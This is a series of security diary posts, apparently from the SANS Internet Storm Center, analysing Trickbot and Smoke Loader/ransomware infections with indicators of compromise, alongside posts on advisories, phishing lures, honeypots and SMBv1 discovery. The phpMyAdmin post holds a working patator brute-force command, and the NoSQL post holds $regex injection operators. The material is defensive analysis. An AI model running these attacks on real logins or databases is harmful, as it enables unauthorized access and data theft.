With the Word document downloaded using HTTPS, we only see encrypted traffic to santanderdocs.co.uk.  We then see an HTTP request to centromiosalud.es for a PNG image, but it actually returned a Windows executable.  After that, we find IP address checks to various IP location services, along with encrypted traffic typical for Trickbot.  The infected host occasionally downloaded malware again from centromiosalud.es using the same URL.  I found at least two different versions of Trickbot on my infected Windows host.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  HTTP request for a PNG image returns a Windows executable.

Shown above:  SSL/TLS traffic typical for a Trickbot infection.

Shown above:  SYN packets show the infected host contacting 2 IP addresses that didn't respond.

Forensics on the infected host

The infected Windows host had artifacts in the user's AppData\Local\Temp and AppData\Roaming directories.  The infected host also utilized a batch file to download malware from centromiosalud.es or cfigueras.com.  A scheduled task was implemented to keep the malware persistent.  The persistent malware was located in a folder named winapp under the user's AppData\Roaming directory.  I left the infected host running for about two hours and saw the executable updated in the winapp folder at least twice.

Shown above:  Artifacts in the user's AppData\Local\Temp directory.

Shown above:  Batch file used to download malware to infect the Windows host.

Shown above:  Malware in the user's AppData\Roaming\winapp directory.

Shown above:  Malware later updated on the infected Windows host.

Shown above:  Scheduled task used to keep the malware persistent.

Indicators of compromise (IOCs)

This section contains IOCs associated with the 2017-08-14 Trickbot infection.

HTTPS request for the malicious Word document:

• 160.153.162.141 port 443 - santanderdocs.co.uk - GET /SecureDoc.doc

Follow-up HTTP request for a Windows executable:

• 178.255.225.215 port 80 - centromiosalud.es - GET /armanistand.png
• 51.254.83.17 port 80 - cfigueras.com - GET /armanistand.png

IP address check by the infected host (not inherently malicious):

• ipinfo.io - GET /ip
• ipecho.net - GET /plain
• icanhazip.com - GET /

Trickbot post-infection SSL/TLS traffic:

• 185.40.20.46 port 443
• 185.40.20.48 port 443
• 185.141.26.86 port 443
• 185.208.170.129 port 443
• 210.16.102.142 port 447

Servers contacted by the infected Windows host that didn't respond:

• 162.248.75.99 port 447
• 194.87.103.27 port 447

Other hosts from the past 2 to 3 weeks that have sent Trickbot malspam:

• hsbcdocs.co.uk
• hmrccommunication.co.uk
• lloydsbacs.co.uk
• nationwidesecure.co.uk
• natwestdocuments6.ml
• santandersecuremessage.com
• securenatwest.co.uk

Associated files:

SHA256 hash:  fec0812faf0e20a55bb936681e4cca7aeb3442b425b738375a8ee192e02fe602

• File name:  SecureDoc.doc
• File description:  Word document with malicious macros

SHA256 hash:  5f8dfebcee9d88576ebdc311d9ca1656d760b816eea4a74232895b547a88b5fb

• File location:  C:\Users\[username]\AppData\Local\Temp\Cqgcf.exe
• File description:  Executable downloaded after enabling Word macros

SHA256 hash:  dd519253f01d706573215f115528c59c606107a235f6052533226d0444731688

• File location:  C:\Users\[username]\AppData\Roaming\winapp\Bpfbe.exe
• File description:  Initial Trickbot binary

SHA256 hash:  c2f73e08d9f1429833ffb81325c3f77655f1680f0b466889a27b623e00288402

• File location:  C:\Users\[username]\AppData\Roaming\winapp\Bpfbe.exe
• File description:  Updated Trickbot binary

Final words

As always, properly-managed Windows hosts following best security practices are unlikely to get infected by this malware.  Unfortunately, many organizations and home users don't follow best practices.  As long as criminals can abuse domain registrars and hosting providers, this type of malspam will occasionally manage to slip past spam filters and find vulnerable victims.  You don't have to be a grandparent on your home computer to get infected.

Shown above:  This could be you, me, or a coworker.

Last week on my previous diary, someone left a comment that included the following:

ALL editions of Windows support Software Restriction Policies; every administrator and his dog can easily prevent the execution of such "documents" and save these people from damage.

I agree.  I just wish more people would follow that well-known advice.

Pcap and malware samples for this diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

A reader forwarded us a suspicious email. It contained a URL, and I downloaded the content with a method similar to what Lenny explained in this diary entry.

Here is the content of the html page:

There are several methods to deobfuscate the data in this script. If you take a close look, you will notice that each number in array plannedb is subtracted with 52 (planneda) and then converted to characters.

As I often have to do such decodings, I have a tool for this: numbers-to-string.py

It can easily be used to decode the script:

Retrieving this URL reveals that this is actually a SPAM email, there is no malicious code.

I've seen before that spammers and advertisers use code obfuscation techniques similar to malware authors. Even legitimate web developers do it occasionaly to try to protect their code from being copied and reused.

 

Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Readers submit all kinds of malware to the Internet Storm Center: executables, documents, emails, ...

This week I took a look at a phishing email submitted by a reader. Going through the headers, I spotted the following:

X-PHISHING-TEST: This is a phishing awareness test conducted by $COMPANY
X-PHISHING-ID: 123456

I've seen similar headers before: they are used in emails designed to raise security awareness in a company. This email here simulates a phishing email, and these headers are added to flag the email as an awareness exercise, and they are also used to track individual emails.

Headers like these are a bit like the evil bit: there's nothing to guarantee their authenticity ;-). Before informing our reader, I did a whois on the domain name of the phishing URL found inside the email body: it was registered by the same company mentioned in the header, and this is indeed a company specialized in security training and awareness. I took special care not to access the URL, as this could put our reader on a list of people who fell for the phishing attempt.

Thus I informed our reader that it was indeed a phishing email, albeit of a special kind: it was a phishing awareness exercise. Later, he confirmed our findings.

Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Recently we've started seeing some attacks that utlise OWA. A person in the victim organisation sends an email to one or more of their customers informing them of change in account details. The attacker provides instructions to customers on paying their account utilising the new account details. The email is cc'ed to other internal staff adding a level of legitimacy (also compromised accounts).  

How is this achieved. Seemingly through OWA. A user's userid and password are compromised. The attacker logs in via OWA and monitors emails as well as appointments.  When the user is away to a meeting, the attacker logs in, sends the account change email and then deletes the email from OWA (sent items, deleted items and often including the 30 day store outlook uses for deleted emails). The cc'ed emails are similarly deleted. The customer pays funds into the new account which is controlled by the attacker.

The attack is quite subtle. Companies often do not notice until they request payment from the customer who then provides evidence that they have already paid and that they were requested to change the payment account. The internal staff member will deny having sent the emails. Which they did not. 

The challenge with OWA is that it often needs to be available via the internet and the userid and passwords used to log in are from Active Directory. So your staff email and your organisation is protected by the passwords your users select, or your service desk issues. Using this avenue brute forcing passwords via OWA is not difficult, neither is accessing email once the password is known it is a waiting game to determine the best approach to transfer funds.   

From the protection perspective if you can add multifactor authentication to OWA consider doing so. The usual "use strong passwords" also applies.  

On the detection side you may have your work cut out for you. You should be able to see the login requests in your logs. They will show up as login type 3 requests from the OWA server. Simple counts should show any brute forcing attempts. However, as the attacker will be logging in as other people the one thing you may need to start looking for is multiple users logging into OWA from the same IP address. As well as IP addresses that are not normal for your staff. If you are using load-balancers or reverse proxies you may need to do some voodoo to pass through the original IP address to allow you to trace the origin IP. You can also look for logins to OWA for users who are currently logged in at their workstation.  

Exchange logs will show you the messages they send, but it will only show that the internal user sent the email, which unfortunately does not help that much.  

Happy hunting. 

Mark H - Shearwater 

(shout out to my Hyderabad sec511 class who are currently doing the final day capstone)

VMware has released the following new security advisory:

1. Summary

VMware NSX-V Edge updates address OSPF Protocol LSA DoS.
 

2. Relevant Products

• VMware NSX-V Edge
• 3. Problem Description

a. VMware NSX-V Edge OSPF Protocol LSA Denial of Service

VMware NSX-V implementation of the OSPF protocol doesn’t correctly handle the link-state advertisement (LSA). A rogue LSA may exploit this issue resulting in continuous sending of LSAs between two routers eventually going in loop or loss of connectivity.

 

Note: The issue cannot be exploited in case the OSPF protocol is not configured. At setup time, no particular protocol is configured. For more information on static and dynamic routing for NSX Edge refer to the NSX Administration Guide, section Logical Router.

VMware would like to thank Adi Sosnovich, Orna Grumberg and Gabi Nakibly for reporting this issue to us.

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the identifier CVE-2017-4920 to this issue.

for further information:

https://www.vmware.com/security/advisories/VMSA-2017-0014.html

 

 

Triaging suspicious files with pestudio

Pestudio[1] by is a utility can be used to Triage malware analysis . all you need is to drop the suspicious file to Pestudio and it will show you the imports, the resources and it will send the MD5 hash of the file to virustotal.

 

Usage:

Pestudio can be obtained from https://winitor.com/download , there is no need for registration to download it.

Once you download Pestudio you have just to extract the file and use it.

If you are a command line fan you can just type the following:

pestudiox.exe

 

And it will show you the options

pestudiox 8.61 - Malware Initial Assessment Copyright © 2009-2017 Marc Ochsenmeier www.winitor.com   pestudiox -file:input [-xml:output]   -file:     input file to analyse -xml:      output xml report file

 

As you can see it’s straightforward to use the command line version of Pestudio ,you have just to specify the suspicious file and you have to specify the xml output file name.

Now let’s put Pestudio in action and try some sucepicious files. In this diary, I am going to use the GUI version.

For this diary I have obtain a sample malware from malware traffic analysis blog[2] which is maintained by Brad Duncan the ISC Handler.

To triage a file with Pestudio you have to run it then you can drop the suspicious file to it or you can choose open file from the file menu.

It will take few seconds to do it’s analysis . As you can see in the screenshot the first thing it will show some general info about the file such as the MD5 hash and entropy.

We received another Emotet maldoc, but this time the analysis with VBA emulator ViperMonkey will have to be done differently.

ViperMonkey is still under development, and for this maldoc, it does not manage to execute the code that reveals the base64 payload. But when we use ViperMonkey's option -a to use an alternate parser, we can extract the base64 payload.

The maldoc was delivered inside a password protected ZIP file.

This time, I made a video of the static analysis process:

 

Didier Stevens
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Introduction

Many security professionals often review malicious spam (malspam) as part of their daily work.  If you fall in this category, every once in a while you run across an email so obviously malicious, you wonder how people could be fooled by it.  I saw one such email on Tuesday 2017-08-08.

The link in this email led to a zip archive containing Sharik/Smoke Loader malware.  Sharik/Smoke Loader then retrieved TeamViewer to use as a backdoor on the infected host.  It also downloaded ransomware calling itself "Diamond Computer Encryption."

Shown above:  Chain of events for this infection.

In today's diary, I investigate that malspam and its associated malware.

The email

The email consists of an image from img.hambersandp02.host that links to inf.hambersandp02.host.  The image is followed by a random string on numbers barely visible in the message, because the text is a very light shade of grey.  Of note, the domain name hambersandp02.host was registered through NameCheap on the same day I saw the email (2017-08-08).

Shown above:  Screenshot of the email.

Just look at it.  The recipient was not someone in any position of authority to sign a contract.  The email sender is named "Contract" and uses some random email address.  And there is absolutely no context to the message.  I always ask myself how someone could be fooled by this, and the answer is apparently "you'd be surprised."

Clicking on the image from the message sent a zip archive.  The zip archive came from an Amazon Web Services (AWS) server, and it contained an executable file (barely) disguised as a contract for the recipient to sign.

Shown above:  Download pop-up after clicking the email link.

Shown above:  Contents of the zip archive sent from the AWS server.

Network traffic

After the malware was download from an AWS server, the infected Windows host generated post-infection traffic that included HTTP requests to support.microsoft.com (a legitimate domain) and controlek01.asia (a malicious domain).  Network traffic triggered alerts for Sharik/Smoke Loader as I monitored it using Security Onion running Suricata with the EmergingThreats open ruleset.  I also saw TeamViewer traffic from the infected Windows host.

Shown above:  Traffic from the infection filtered in Wireshark.

Shown above:  TeamViewer traffic from the infection noted in Wireshark.

Shown above:  Events that triggered in Security Onion while monitoring the traffic.

The infected Windows host

Signs of a ransomware infection were apparent in the infected Windows host.  All encrypted files had random extensions appended to their file names, and the decryption instructions call the ransomware "Diamond Computer Encryption."  This ransomware was first reported by @PolarToffee on Monday 2017-08-07 on Twitter, but it appears to be a complete scam without any way to decrypt your files.  The bitcoin address from the decryption instructions doesn't change.  No email address or other contact info is available.  The instructions state all files will be automatically decrypted after making the bitcoin payment, but that apparently does not happen.

Shown above:  Examples of encrypted files from an infected Windows host.

Shown above:  Decryption instructions (part 1 of 2).

Shown above:  Decryption instructions (part 2 of 2).

I noticed two things about this ransomware.  First, it causes no post-infection traffic, except for a URL in the decryption instructions.  That URL causes an HTTP request for an image of a diamond from www.tiffany.com (a legitimate website).  Second, you must have version 4.0.30319 or higher of the .NET Framework installed, or the ransomware doesn't encrypt your files.

Shown above:  An isolated HTTP request to tiffany.com for this URL?  It could be associated with Diamond ransomware.

Shown above:  The ransomware didn't run properly until I updated my .NET Framework.

Forensics

The Diamond ransomware was stored in a folder under the user's AppData\Roaming directory, and it used a Visual Basic (.vbe) file in the Startup folder to ensure persistence.  However, the ransomware deleted itself after encrypting files in my lab host, so that .vbe file generated an error after rebooting.

Shown above:  Location of Diamond ransomware executable on the infected host.

Shown above:  VBE file in the startup folder calling for the Diamond ransomware.

Although the Diamond ransomware deleted itself, the Sharik/Smoke Loader stayed persistent on the infected host through an entry in the Windows registry.  It had moved itself to a folder under the user's AppData\Roaming\Microsoft directory.

Shown above:  Windows registry update to keep Sharik/Smoke Loader persistent after reboot.

Shown above:  Location of the Sharik/Smoke Loader malware.

Shown above:  TeamViewer artifacts from the infected host.

Indicators of Compromise (IOCs)

The following are email headers from the malspam:

• Date:  Tue, 2017-08-08 12:36 UTC
• From:  Contract <Nicolas@chambersandp141411.info>
• Subject:  Please sign the contract.
• X-PHP-Originating-Script:  0:class.phpmailer.php
• Message-ID:  <4be7e5eaff1d7967017779bfce589bc8@chambersandp141411.info>

The following are IOCs for network traffic related to this infection.  First is the link from the email and redirect to the AWS download:

• 192.64.119.130 port 80 - inf.hambersandp02.host - GET /
• 52.219.84.35 port 443 - s3.us-east-2.amazonaws.com - GET /contrac9821/Sign_Contract_18727712.zip

Next is post-infection traffic during the infection to legitimate domains.  None of these are inherently malicious on their own:

• www.bing.com - GET /
• support.microsoft.com - POST /kb/2460049
• Various IPs over TCP ports 443 and 5938 - TeamViewer domains - TeamViewer traffic

Finally, we have Sharik/Smoke Loader doing check-in traffic and downloading the Diamond ransomware executable:

• 178.159.36.86 port 80 - controlek01.asia - POST /
• 178.159.36.86 port 80 - controlek01.asia - GET /mariconets.exe

SHA256 hashes related to this infection are:

• SHA256 hash:  6790d73656b873ca3e44c9fd1f49e15c0aafafac1b55e5e81c4cd7c2d3f9cdd2
• File size:  54,482 bytes
• File name:  Sign_Contract_18727712.zip
• Description:  Downloaded zip archive after link in email redirected to AWS server.

• SHA256 hash:  431a9e9b1007257833cce1276bf50947e57eb67db02c539460aa05eac109ee06
• File size:  552,960 bytes
• File name:  Sign_Contract_18727712.exe
• Location after infection:  C:\Users\[username]\AppData\Roaming\Microsoft\agusbjct\dritbbst.exe
• Description:  Sharik/Smoke Loader executable

• SHA256 hash:  5d82b3125eabf1a75cb15bd9b76bf398f829a41bf8e1ef2fd74825aed58e31c6
• File size:  442,368 bytes
• Location:  C:\Users\[username]\AppData\Local\Temp\CB69.tmp.exe
• Location after infection:  C:\Users\[username]\AppData\Roaming\winmgr322.exe\winmgr322.exe
• Description:  Diamond ransomware

Final words

I saw some Twitter traffic stating Diamond ransomware also downloads TeamViewer.  However, in this case TeamViewer appears to have been downloaded by Sharik/Smoke Loader.  I tried the Diamond ransomware executable on its own, and it didn't generate any TeamViewer traffic.

Once again, I can't stress how obviously malicious I find this email.  Furthermore, any organization following best security practices shouldn't have anything to worry about.  But this example provides a somewhat interesting infection chain, and we must remain vigilant.  There's still a possibility this malspam might actually infect someone.

Email, artifacts, and a pcap of the network traffic for today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

When Microsoft changed its update process a few months ago, we were initially no longer able to quickly produce our usual assessment of Microsoft's patches. Finally, I think we have a way to get at least some of it back, and this is our first take on it. Please let me know if I should change anything. I know a few people wrote scripts to parse the table. I would recommend that you use Microsoft's own API to do so in the future. The layout of the table may change and screen-scraping is never a good idea.

What do the fields mean:

• Description: Microsoft's description of the flaw
• MSFT Severity: The highest severity Microsoft assigned to the flaw. Sometimes, Microsoft assigns different severities to different versions of the product affected by the flaw.
• CVE: CVE Number
• Disclosed/Exploited: Has the vulnerability been publicly disclosed or exploited in the wild prior to the release of the patch
• Exploitablity: How likley is it, that this vulnerability will be exploited. (old: oldest supported version of the sooftware, current: current software version)
• Client Severity: The severity we (ISC) assigned to this vulnerability for clients (Desktops)
• Server Severtiy: The severity we (ISC) assigned to this vulnerability to servers (servers run software like IIS and are more exposed to the internet)

Expect a few updates as I am refining the table. Use our contact form for feedback.

Description				MSFT Severity
CVE	Disclosed/Exploited	Exploitability (old/current)	Client Severity	Server Severity
Scripting Engine Security Feature Bypass Vulnerability				Important
%%cve:2017-8637%%	No/No	?/?	Important	Important
Windows Subsystem for Linux Denial of Service Vulnerability
%%cve:2017-8627%%	Yes/No	?/?
August 2017 Flash Update				Critical
ADV170010	No/No	?/?	Critical	Critical
Volume Manager Extension Driver Information Disclosure Vulnerability				Important
%%cve:2017-8668%%	No/No	Less Likely/Less Likely	Important	Important
Windows Error Reporting Elevation of Privilege Vulnerability				Important
%%cve:2017-8633%%	Yes/No	More Likely/More Likely	Important	Important
Microsoft Edge Memory Corruption Vulnerability				Critical
%%cve:2017-8661%%	No/No	?/?	Critical	Critical
Windows Subsystem for Linux Elevation of Privilege Vulnerability
%%cve:2017-8622%%	No/No	?/?
Windows Remote Desktop Protocol (RDP) Denial of Service Vulnerability				Important
%%cve:2017-8673%%	No/No	?/?	Important	Important
Microsoft Edge Security Feature Bypass Vulnerability				Moderate
%%cve:2017-8650%%	No/No	?/?	Moderate	Moderate
Scripting Engine Memory Corruption Vulnerability				Critical
%%cve:2017-8634%%	No/No	?/?	Critical	Critical
%%cve:2017-8635%%	No/No	More Likely/More Likely
%%cve:2017-8636%%	No/No	More Likely/More Likely
%%cve:2017-8638%%	No/No	?/?
%%cve:2017-8639%%	No/No	?/?
%%cve:2017-8640%%	No/No	?/?
%%cve:2017-8670%%	No/No	?/?
%%cve:2017-8671%%	No/No	?/?
%%cve:2017-8672%%	No/No	?/?
%%cve:2017-8641%%	No/No	More Likely/More Likely
%%cve:2017-8645%%	No/No	?/?
%%cve:2017-8646%%	No/No	?/?
%%cve:2017-8647%%	No/No	?/?
%%cve:2017-8655%%	No/No	?/?
%%cve:2017-8656%%	No/No	?/?
%%cve:2017-8657%%	No/No	?/?
%%cve:2017-8674%%	No/No	?/?
Windows Hyper-V Remote Code Execution Vulnerability				Important
%%cve:2017-8664%%	No/No	Less Likely/Less Likely	Important	Important
Microsoft Browser Memory Corruption Vulnerability				Critical
%%cve:2017-8669%%	No/No	More Likely/More Likely	Critical	Critical
%%cve:2017-8653%%	No/No	More Likely/More Likely
Win32k Information Disclosure Vulnerability				Important
%%cve:2017-8666%%	No/No	More Likely/More Likely	Important	Important
Express Compressed Fonts Remote Code Execution Vulnerability				Important
%%cve:2017-8691%%	No/No	Less Likely/Less Likely	Important	Important
Windows NetBIOS Denial of Service Vulnerability				Important
%%cve:2017-0174%%	No/No	Less Likely/Less Likely	Important	Important
Windows CLFS Elevation of Privilege Vulnerability				Important
%%cve:2017-8624%%	No/No	More Likely/More Likely	Important	Important
Windows IME Remote Code Execution Vulnerability				Critical
%%cve:2017-8591%%	No/No	Less Likely/Less Likely	Critical	Critical
Microsoft Office SharePoint XSS Vulnerability				Important
%%cve:2017-8654%%	No/No	Unlikely/Unlikely	Important	Important
Windows Search Remote Code Execution Vulnerability				Critical
%%cve:2017-8620%%	No/No	More Likely/More Likely	Critical	Critical
Microsoft SQL Server Analysis Services Information Disclosure Vulnerability				Important
%%cve:2017-8516%%	No/No	Unlikely/Unlikely	Important	Important
Scripting Engine Information Disclosure Vulnerability				Important
%%cve:2017-8659%%	No/No	?/?	Important	Important
Windows Hyper-V Denial of Service Vulnerability				Important
%%cve:2017-8623%%	No/No	Unlikely/Unlikely	Important	Important
Microsoft Edge Elevation of Privilege Vulnerability				Important
%%cve:2017-8503%%	No/No	?/?	Important	Important
%%cve:2017-8642%%	No/No	?/?
Microsoft Edge Information Disclosure Vulnerability
%%cve:2017-8662%%	No/No	?/?
%%cve:2017-8644%%	No/No	?/?
%%cve:2017-8652%%	No/No	?/?
Windows PDF Remote Code Execution Vulnerability				Critical
%%cve:2017-0293%%	No/No	Less Likely/Less Likely	Critical	Critical
Win32k Elevation of Privilege Vulnerability				Important
%%cve:2017-8593%%	No/No	More Likely/More Likely	Important	Important
Internet Explorer Security Feature Bypass Vulnerability				Important
%%cve:2017-8625%%	No/No	Less Likely/Less Likely	Important	Important
Microsoft JET Database Engine Remote Code Execution Vulnerability				Critical
%%cve:2017-0250%%	No/No	Unlikely/Unlikely	Critical	Critical
Internet Explorer Memory Corruption Vulnerability
%%cve:2017-8651%%	No/No	?/?

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|

PMA (or "phpMyAdmin") is a well-known MySQL front-end written in PHP that "brings MySQL to the web" as stated on the web site[1]. The tool is very popular amongst web developers because it helps to maintain databases just by using a web browser. This also means that the front-end might be publicly exposed! It is a common finding in many penetration tests to find an old PMA interface left by an admin.

Even if PMA restricts access with a login page, there is a lack of protection against brute-force attacks. One of my favourite tool to perform such attack is Patator[2].

$ patator http_fuzz url=http://www.acme.org/pma/index.php \ 
method=POST \ 
body="pma_username=admin&;pma_password=COMBO00&server=1&target=index.php&lang=en&token= \ 
0=dictionary.txt \ 
before_urls=http://www.acme.org/pma/index.php \ 
accept_cookie=1 \ 
follow=1 \ 
-x ignore:fgrep="Cannot log in to the MySQL server"

Today, I detected an increasing amount of attempts to find PMA interfaces against my honeypots. Here is an extract of the tested URLs:

/mysql/admin/
/mysql/dbadmin/
/mysql/sqlmanager/
/mysql/mysqlmanager/
/phpmyadmin/
/phpMyadmin/
/phpMyAdmin/
/phpmyAdmin/
/phpmyadmin2/
/phpmyadmin3/
/phpmyadmin4/
/2phpmyadmin/
/phpmy/
/phppma/
/myadmin/
/phpmyadmin/
/PMA/
/dbadmin/
/pma/
/db/phpmyadmin/
/db/phpMyAdmin/
/sqlmanager/
/mysqlmanager/
/php-myadmin/
/phpmy-admin/
/mysqladmin/
/mysql-admin/
/admin/phpmyadmin/
/admin/phpMyAdmin/
/admin/sysadmin/
/admin/sqladmin/
/admin/db/
/admin/web/
/admin/pMA/
/mysql/pma/
/mysql/pMA/
/sql/phpmanager/
/sql/php-myadmin/
/sql/phpmy-admin/
/sql/myadmin/
/sql/webadmin/
/sql/sqlweb/
/sql/websql/
/sql/webdb/
/sql/sqladmin/
/sql/sql-admin/
/sql/phpmyadmin2/
/sql/phpMyAdmin2/
/sql/phpMyAdmin/
/db/myadmin/
/db/webadmin/
/db/websql/
/db/dbadmin/
/db/db-admin/
/db/phpmyadmin3/
/db/phpMyAdmin3/
/db/phpMyAdmin-3/
/administrator/phpmyadmin/
/administrator/phpMyAdmin/
/administrator/pma/
/administrator/PMA/
/phpMyAdmin2/
/phpMyAdmin3/
/phpMyAdmin4/
/phpMyAdmin-3/
/php-my-admin/
/PMA2011/
/PMA2012/
/PMA2013/
/PMA2014/
/PMA2015/
/PMA2016/
/PMA2017/
/PMA2018/
/pma2011/
/pma2012/
/pma2013/
/pma2014/
/pma2015/
/pma2016/
/pma2017/
/pma2018/
/phpmyadmin2011/
/phpmyadmin2012/
/phpmyadmin2013/
/phpmyadmin2014/
/phpmyadmin2015/
/phpmyadmin2016/
/phpmyadmin2017/
/phpmyadmin2018/
/phpmanager/

Also, older releases of phpMyAdmin have multiple known vulnerabilities[3]. Databases are critical components in most modern web applications. If there is a lack of protection, it should be possible to access other (internal? confidential?) databases from a compromised phpMyAdmin. My advice is to simply NOT expose these administration tools to the wild Internet and, if it is required, to not rely on the default protection mechanisms. A simple extra protection layer is to restrict access to internal hosts or VPNs with an IP access-list. An example with Apache:

<Directory "/pma">
    order deny,allow
    deny from all allow from 10.0.0.1
    allow from 10.0.0.2
</Directory>

[1] https://www.phpmyadmin.net/
[2] https://github.com/lanjelot/patator
[3] https://www.cvedetails.com/vulnerability-list/vendor_id-784/cvssscoremin-7/cvssscoremax-7.99/Phpmyadmin.html

Xavier Mertens (@xme)
ISC Handler - Freelance Security Consultant
PGP Key

Whenever a link is posted to Facebook or other social media sites, the site will likely scan the destination page for "Open Graph" tags [1]. These tags may provide a link to an image to be displayed, or alternate URLs to be displayed and other meta tags.

(URLs obfuscated to protect the click-happy)

For example, the following short link hxxps://goo. gl/ 8k64yS posted to Facebook recently links to hxxp: //storage. googleapis. com/1501853956/1501853956.html, which in turn returns the following content:

<meta name="viewport" content="width=device-width, initial-scale=1">
<meta property="og:url" content="http://YOUTU.BE/" />
<meta property="og:type" content="article" />
<meta property="og:title" content="Video" />
<meta property="og:description" content="355,857 View" />
<meta property="og:image" content="https://www.youtube.com/yts/img/yt_1200-vfl4C3T0K.png" />
<style> body { margin: 0 !important; }</style>

<iframe src="hxxp:// smarturl. it/uvita" onload="this.width=screen.width;this.height=screen.height;">

the meta "og:" tags will tell Facebook to display a YouTube logo  ("og:image"), and the text "355,857 View" ("og:description"), making this look like a legitimate link to YouTube. Instead, the user is redirected to a second URL shortener in this case. "smarturl.it" looks like a very interesting URL shortener. It allows the attacker to effortlessly redirect users to different sites based on country of origin and browser used. Sadly, all I got in the iframe was what appeared to be random Wikipedia pages, nothing that I could identify as malicious. One Facebook friend was directed to a Facebook phishing page after clicking on the link.

Here is what it looked like when I posted it to a Facebook test account:

[1] http://ogp.me

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS Technology Institute
STI|Twitter|

We have been working for a while now on a honeypot based on a Raspberry Pi. Thanks to our volunteers, we now have a version of the honeypot that provides us not just with the firewall data that we usually collect, but also with data about telnet/ssh and web attacks. Traditionally, we have focused on firewall logs, and we will, of course, continue to collect them. But it has become more difficult to collect logs from many consumer level firewalls. The Raspberry Pi based system will allow us to maintain one code base that will make it easier to collect rich logs beyond firewall logs.

To participate, you will need a Raspberry Pi that is exposed to internet traffic. You can do so by either connecting it directly to your cable/DSL modem or by exposing it to Internet traffic via your firewall. But it is important that the device will receive more or less unfiltered traffic (it is ok if a couple of ports are blocked or used by other services). The Raspberry Pi should be dedicated to the task as a honeypot.

We have tested the system with a Raspberry 2 and 3. It works best if you use the wired network interface, but a WiFi connection should work as well.

To install the honeypot, it is best to follow the instructions in our GitHub repository for the project: https://github.com/DShield-ISC/dshield .

The short version of the instructions:

1. Setup an account here to submit your reports
2. Install the base Raspian OS (the Lite version will do)
3. Install "git" (sudo apt install git)
4. clone the repository (git clone https://github.com/DShield-ISC/dshield.git)
5. run the install script.

But please see the full instructions for additional details.

What do you get out of it?

First of all, you are contributing to an awesome project that measures the internet's "background radiation" for about 16 years now. Our data is regularly used by researchers to improve defensive recommendations and to validate and observe trends in attack patterns. All of our data is made available for free under a creative commons license.

Secondly, you will be able to review summaries of your data via this site. Your data will be linked to IP address reports and summaries of data submitted by others.

In talking to people interested in submitting in the past, I often hear the following arguments against it, which I call my "top myths not to submit data":

• My data isn't all that interesting
  Absolutely right. Your data, by itself, isn't all that interesting. But it becomes interesting once we can correlate it with data from other users. What we are looking for is "average home users," small businesses and just about anybody connected to the internet. We are not trying to find the next APT. Instead, we are looking for the next worm or bot scanning the internet for a new vulnerability, which may not even be a zero day.
• My employer will not allow me to submit data
  No need to submit data from work. Your home connection will work just fine (see above)
• It is hard to submit data
  I hope we make this easier using this Raspberry Pi honeypot. It shouldn't take much "care and feeding." Maybe an update once a month with new software.

We try our best to make this honeypot secure. We do use software like Cowrie and some additional python scripts to emulate services. We rather allow the honeypot to be fingerprinted as a honeypot then having it exploited.

If you do however find any bugs (security or functional), then please submit a report via GitHub ( https://github.com/DShield-ISC/dshield/issues ).

We are in the process of making the same code work in an Ubuntu virtual machine. For some that already have a local virtual machine setup, this may be an easier method to deploy these honeypots.

---
Johannes B. Ullrich, Ph.D., Dean of Research, SANS Technology Institute
STI|Twitter|

Last week I was lucky enough to attend SANSFIRE, which is one of the biggest SANS events (I attended the SEC660 course by Tim Medin – and just as my personal opinion: this is probably the best course I have ever attended).
I also held a presentation about attacking NoSQL applications, which was based partially on some previous research I did and the diary I posted in December (you can find it here).

As I demonstrated previously, depending on how developers handle user input, certain attacks are possible against NoSQL databases. 

The attack from the previous diary included modification of a parameter that allowed us to retrieve arbitrary data from the database: in order to do this we used the $regex operator so we did not have to brute force the GUID’s but instead simply guess characters one by one. The search operator we used was this:

{ friendly: { $regex: "^a" } }

This will return the first document from a collection where the friendly key matches the $regex operator that we have entered. Going further is easy, here is our next try:

{ friendly: { $regex: "^ab" } }

This way we can retrieve documents one by one and slowly guess their GUID. Additionally, we don’t have to guess the whole sequence. For example, if the $regex operator /a9577050-31cf-11e6-957b-43a/ and /a9577050-31cf-11e6-957b-43a5/ return the same document, we know this is the “last” one with that particular sequence.

Now the question is on how to expand the attack to retrieve additional documents? Once we know a GUID that belongs to the document we retrieved, we can (again) use NoSQL’s powerful operators to simply exclude that document, as in the example below:

Here we have an $and operator that simply retrieves another document whose GUID starts with /^a9/ but excludes the one that we just retrieved. This allows us to “blocklist” retrieved documents and continue enumeration of the collection.
This again shows that the default mantra with any application should be: never trust and always sanitize any user input you get, no matter what you use in the background.

We will also publish all handler presentations from SANSFIRE soon, so stay tuned.

--
Bojan
@bojanz
INFIGO IS

I've had a number of people ask how they can find services on their network that still support SMBv1.  In an AD Domain you can generally have good control of patching and the required registry keys to disable SMBv1.  However, for non-domain members that's tougher.  You can enumerate what SMB version is negotiated using Powershell, with the smb-getconnections command.

https://technet.microsoft.com/en-us/library/jj635713(v=wps.630).aspx

Below we see a W2k3 server negotiate SMBv1 and 2008r2 server negotiate to SMBvx

Dialects versions are outlined here: https://msdn.microsoft.com/en-us/library/cc246492.aspx

Essentially they loosely match up with SMB versions - Dialect 1.5 is SMBv1, Dialect 2.1 is SMBv2.1

Note that to get a negotiated protocol version, PowerShell needs to authenticate and actually negotiate a connection, so this isn't great if you are scanning non-domain members.  It also gives you what it negotiates to - in other words, the best protocol that both ends support - not all the old stuff that the target host might still support.

What folks are keen to find is Linux hosts offering up Samba shares for instance, or old Windows hosts that aren't in the inventory and don't support SMBv2.  It's also a rude shock to find that your SMB "Filer" interface to your corporate SAN or NAS still supports SMBv1  (yes, really).

 

NMAP is my go-to for stuff like this, but in the latest stable version (7.50 as of today) we see a ton of useful SMB scripts, but not one that tells us all versions that are supported on target hosts.

However, with a bit of digging I did find exactly this - - a new script in the dev forums by Paulino Calderon - his article is here:
http://seclists.org/nmap-dev/2017/q3/20
with the code here:
smb2.lua: https://github.com/cldrn/nmap/blob/smbv2/nselib/smb2.lua
smb.lua: https://github.com/cldrn/nmap/blob/smbv2/nselib/smb.lua
